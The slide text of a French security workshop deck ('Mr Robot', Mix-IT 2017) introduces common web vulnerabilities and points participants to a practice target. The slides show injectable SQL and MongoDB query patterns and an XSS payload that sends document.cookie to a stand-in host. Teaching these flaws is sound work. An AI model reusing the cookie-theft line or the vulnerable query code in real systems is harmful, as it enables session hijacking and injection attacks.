Slide 1

Slide 1 text

Sortez le Mr Robot qui est en vous ! Mix-IT 2017 - 21/04/2017

Slide 2

Slide 2 text

Workshop “Mr Robot” Mickael Jeanroy Houssem Belhadj Ahmed Développeur @mickaeljeanroy https://github.com/mjeanroy Développeur @7ouss3m https://github.com/houssemba

Slide 3

Slide 3 text

Workshop “Mr Robot” hopwork Merci à @hopwork https://www.hopwork.fr Merci à @traefikproxy : @ludnadez & @emilevauge ! https://traefik.io

Slide 4

Slide 4 text

Workshop “Mr Robot” Programme - Présentation (~10mns) - Workshop (~1h20) - Solutions (~20mns) Un seul but : s’amuser !!

Slide 5

Slide 5 text

Workshop “Mr Robot” Pourquoi ce workshop ? - 2005 : MySpace (XSS) - 2010 : Site apache.org (XSS) - 2011 : Sony (SQLInjection) - 2012 : Linkedin (?) - 2012 : Yahoo (SQLInjection) - 2015 : Site jeuxvideos.com (XSS) - Etc.

Slide 6

Slide 6 text

Workshop “Mr Robot” Présentation de quelques failles Hint : Certaines seront présentes dans le workshop, d’autres non...

Slide 7

Slide 7 text

Workshop “Mr Robot” Quelques failles : - SQLInjection - MongoInjection - XSS (Cross Site Scripting) - CSRF (Cross-Site Request Forgery) - Dictionnaire - Timing Attack - Etc.

Slide 8

Slide 8 text

Workshop “Mr Robot” SQLInjection - Détournement d’une requête SQL - Risques principaux : bypass de login, dump de la base données Exemple : SELECT id, nom FROM users WHERE login = ‘“ + login + “‘ “ AND password = ‘“ + password + “‘“

Slide 9

Slide 9 text

Workshop “Mr Robot” Mongo Injection - Même principe qu’une SQLInjection - Détournement de la requête MongoDB Exemple : Users.findOne({ login: req.body.login, password: req.body.password });

Slide 10

Slide 10 text

Workshop “Mr Robot” XSS (Cross Site Scripting) - Injection de code JavaScript - Risques principaux : vol de cookies, vol de tokens, usurpation d’identité Exemple : var src = "http://domain.com/" + (document.cookie); new Image().src = src;

Slide 11

Slide 11 text

Workshop “Mr Robot” CSRF (Cross-Site Request Forgery) - Utilise les mécanismes d’authentification / de session (cookie). - Risques principaux : vol de données, usurpation d’identité Exemple : 1- Alice envoie un lien à Bob 2- Bob clique sur le lien qui l’amène sur banque.com : => Bob s’authentifie automatiquement grâce à son cookie 3- Le serveur effectue l’opération demandée par “Bob”

Slide 12

Slide 12 text

Workshop “Mr Robot” Dictionary Attack - Idée : tester un champ de saisie à partir d’un ensemble de données connues comme étant souvent utilisée - Base de mots de passe : http://www.passwordrandom.com/most-popular-passwords Exemple :

Slide 13

Slide 13 text

Workshop “Mr Robot” Timing Attack - Idée : Analyse des temps d’exécution pour deviner les valeurs possibles - Risques principaux : bypass de login, découverte de données sensibles Exemple :

Slide 14

Slide 14 text

Workshop “Mr Robot” Quelques astuces : - Testez les formulaire : https://github.com/minimaxir/big-list-of-naughty-strings - Comparaison de cas valides et de cas d’erreurs (code retours HTTP, messages d’erreurs, etc.) - Code retour 401 vs 403 vs 404 - Message : “Mot de passe invalide” vs “Identifiants invalides” - Stacktrace Java dans la réponse - Etc.

Slide 15

Slide 15 text

Workshop “Mr Robot” Quelques astuces : - Utilisation des DevTools de votre navigateur pour inspecter les données stockées (cookies, local storage, session storage)

Slide 16

Slide 16 text

Workshop “Mr Robot” Quelques astuces : - Inspection des échanges réseaux (headers HTTP, temps d’exécution, etc.).

Slide 17

Slide 17 text

Workshop “Mr Robot” A vous de jouer ! http://35.187.80.241

Slide 18

Slide 18 text

Workshop “Mr Robot” Solutions

Slide 19

Slide 19 text

Workshop “Mr Robot” Questions ~ Merci